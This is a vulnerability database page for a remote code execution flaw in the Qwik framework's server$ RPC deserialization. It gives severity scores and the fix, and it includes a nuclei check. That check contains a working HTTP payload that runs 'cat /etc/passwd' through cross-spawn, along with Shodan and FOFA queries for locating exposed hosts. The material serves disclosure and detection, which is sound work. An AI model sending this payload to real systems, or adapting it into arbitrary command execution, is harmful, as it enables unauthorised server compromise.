Browse / CVEs / CVE-2026-27971
CVE-2026-27971· CWE-502
Qwik - Unauthenticated RCE via server$ Deserialization
criticalseverity
9.2CVSS score
5.5%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
Qwik <=1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require() availability at runtime.
Impact
Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
Fix
Update to version 1.19.1 or later.
How to confirm it
Send: POST /?qfunc=sync
Positive when: regex('root:.*:0:0:', body) and status_code == 200 and contains(header, 'application/qwik-json')Run it with nuclei: nuclei -id CVE-2026-27971 -u <target>
The full check
id: CVE-2026-27971
info:
name: Qwik - Unauthenticated RCE via server$ Deserialization
author: omarkurt
severity: critical
description: |
Qwik <=1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require() availability at runtime.
impact: |
Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Update to version 1.19.1 or later.
reference:
- https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm
- https://vulnerabletarget.com/VT-2026-27971
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-27971
epss-score: 0.05478
epss-percentile: 0.92827
cwe-id: CWE-502
metadata:
max-request: 1
verified: true
shodan-query: http.html:"q:version"
fofa-query: body="q:version"
tags: cve,cve2026,qwik,rce,deserialization,vkev
http:
- raw:
- |
POST /?qfunc=sync HTTP/1.1
Host: {{Hostname}}
Content-Type: application/qwik-json
X-QRL: sync
Origin: {{RootURL}}
{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
- "contains(header, 'application/qwik-json')"
condition: andReferences
- https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm
- https://vulnerabletarget.com/VT-2026-27971
Use this check only on systems you are authorised to test. Where the data comes from